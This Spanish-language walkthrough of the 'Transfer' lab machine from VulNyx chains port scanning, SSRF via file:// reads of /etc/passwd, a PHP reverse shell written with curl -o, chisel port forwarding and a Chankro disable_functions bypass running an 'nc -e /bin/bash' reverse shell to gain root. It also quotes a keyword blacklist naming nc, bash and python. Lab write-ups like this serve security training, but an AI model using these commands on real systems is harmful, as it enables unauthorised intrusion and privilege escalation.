VulNyx - Transfer

logo

  • SSRF URL Scheme
  • Port Forwarding
  • Disable Functions Bypass

Escaneo de puertos

❯ nmap -p- -v -T5 -n 192.168.1.42

PORT   STATE SERVICE
80/tcp open  http

Escaneo de servicios

❯ nmap -sVC -v -p 80 192.168.1.42

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Apache2 Debian Default Page: It works
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS

En el puerto 80 hay un servidor apache por defecto.

apache

Realizo fuerza bruta de extensiones php.

❯ wfuzz -c -t 200 -w /usr/share/seclists/Discovery/Web-Content/common.txt -u 'http://192.168.1.42/FUZZ.FUZ2Z' -z list,php --hc=404 --hl=9
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.1.42/FUZZ.FUZ2Z
Total requests: 18852

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                           
=====================================================================

000008757:   200        367 L    933 W      10700 Ch    "index - php" 

Uso curl para ver la información del archivo index.php.

❯ curl -s -I http://192.168.1.42
HTTP/1.1 200 OK
Date: Thu, 22 Jun 2023 17:25:16 GMT
Server: Apache/2.4.38 (Debian)
Set-Cookie: cookie=MRXW2YLJNY6XGZLDOVZGK5DSMFXHGZTFOIXG46LY
Content-Type: text/html; charset=UTF-8

Decodifico la cadena que hay en la cookie y encuentro el dominio securetransfer.nyx.

❯ echo "MRXW2YLJNY6XGZLDOVZGK5DSMFXHGZTFOIXG46LY" | base32 -d
domain=securetransfer.nyx

Después de agregar el dominio a mi archivo hosts realizo un escaneo de subdominios y encuentro el subdominio intranet2.

❯ wfuzz -c -t 200 --hl=367 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host:FUZZ.securetransfer.nyx" http://securetransfer.nyx
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://securetransfer.nyx/
Total requests: 114441

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                     
=====================================================================

000001809:   200        23 L     41 W       417 Ch      "intranet2"

Agrego el subdominio intranet2 al archivo hosts y seguidamente lo abro en el navegador.

intranet2

Al mandar una petición veo que la salida es de la herramienta curl.

intranet2Curl

Con la envoltura file:// puedo leer el archivo passwd.

file:///etc/passwd

intranet2passwd

En el archivo environ encuentro la ruta /var/www/intranet que es donde está la herramienta que estoy usando.

file:///proc/self/environ

intranet2environ

Consigo leer el archivo index.php.

file:///var/www/intranet/index.php

intranet2verificacionruta

El array $disallowed que contiene una lista de palabras y caracteres no permitidos, esta lista se utiliza para verificar si alguno de estos caracteres está presente en la URL enviada para prevenir la ejecución de algunos comandos o evasión de palabras no permitidas.

$disallowed=array('%','!','|',';','python','nc','perl','bash','&','#','{','}','[',']');

Lanzo un ls -la y veo que tengo los siguientes permisos drwxrwxrwx.

intranet2lsla

Sabiendo esto preparo una reverse shell en php, levanto un servidor http con python en la ruta donde tengo la reverse shell y con curl puedo escribir en el directorio intranet utilizando el parámetro -o de la siguiente forma:

http://192.168.1.18/rs.php -o /var/www/intranet/rs.php

curlrsphp

Ahora verifico que se ha subido el archivo rs.php.

verificorsphp

Mando una petición con curl y obtengo la shell.

reverseshell

La shell tiene que estar en el puerto 443 sino no funcionará.

Una vez dentro del sistema enumero puertos internos y me llama la atención el puerto 8888.

www-data@transfer:/$ ss -ltun
Netid   State    Recv-Q   Send-Q     Local Address:Port     Peer Address:Port   
udp     UNCONN   0        0                0.0.0.0:68            0.0.0.0:*      
tcp     LISTEN   0        128            127.0.0.1:8888          0.0.0.0:*      
tcp     LISTEN   0        128                    *:80                  *:* 

Con ps aux veo que el puerto 8888 es un servidor web local ubicado en /dev/shm.

www-data@transfer:/$ ps aux

root       329  0.0  0.0   2388   756 ?        Ss   19:10   0:00 /bin/sh -c php -S 127.0.0.1:8888 -t /dev/shm
root       338  0.0  2.0 196304 20656 ?        S    19:10   0:01 php -S 127.0.0.1:8888 -t /dev/shm

Verifico los permisos de /dev/shm.

www-data@transfer:/$ ls -la /dev/shm
total 0
drwxrwxrwt  2 root root   40 Jun 25 13:23 .
drwxr-xr-x 17 root root 3180 Jun 25 13:23 ..

Creo un port forwarding con chisel para poder ver el puerto 8888 de la máquina víctima en mi máquina.

Máquina atacante.

❯ ./chisel server -p 9080 --reverse

Máquina victima.

www-data@transfer:/tmp$ ./chisel client 192.168.1.18:9080 R:8888:127.0.0.1:8888

Con firefox visualizo el puerto 8888.

localhost8888

Creo una rshell.php dentro de /dev/shm , al ejecutarla me sale el siguiente mensaje y se cierra la conexión.

failedShell

Creo un el archivo phpinfo.php dentro de /dev/shm.

phpinfo();

En el apartado disable_functions veo las funciones que están deshabilitadas y me doy cuenta porque no ha funcionado la reverse shell.

disable_functionsB

Para evadir disable_functions me descargo la herramienta Chankro de TarlogicSecurity, una vez descargada me muevo dentro del directorio de la herramienta y creo el archivo rshell.sh.

#!/bin/bash
nc -e /bin/bash 192.168.1.18 1337

Con chankro genero el archivo rsh.php.

❯ python2 chankro.py --arch 64 --input rshell.sh --output rsh.php --path .


     -=[ Chankro ]=-
    -={ @TheXC3LL }=-


[+] Binary file: rshell.sh
[+] Architecture: x64
[+] Final PHP: rsh.php


[+] File created!

Subo el archivo rsh.php a /dev/shm/ luego mando una petición con curl para ejecutarla.

www-data@transfer:/dev/shm$ curl localhost:8888/rsh.php

Y sorpresa! recibo una shell como usuario root.

❯ nc -lvnp 1337
listening on [any] 1337 ...
connect to [192.168.1.18] from (UNKNOWN) [192.168.1.42] 43506
script /dev/null -c bash
Script iniciado; el fichero es /dev/null
root@transfer:/dev/shm# id
uid=0(root) gid=0(root) grupos=0(root)
root@transfer:/dev/shm#

Y con esto ya tenemos resuelta la máquina Transfer.

Saludos!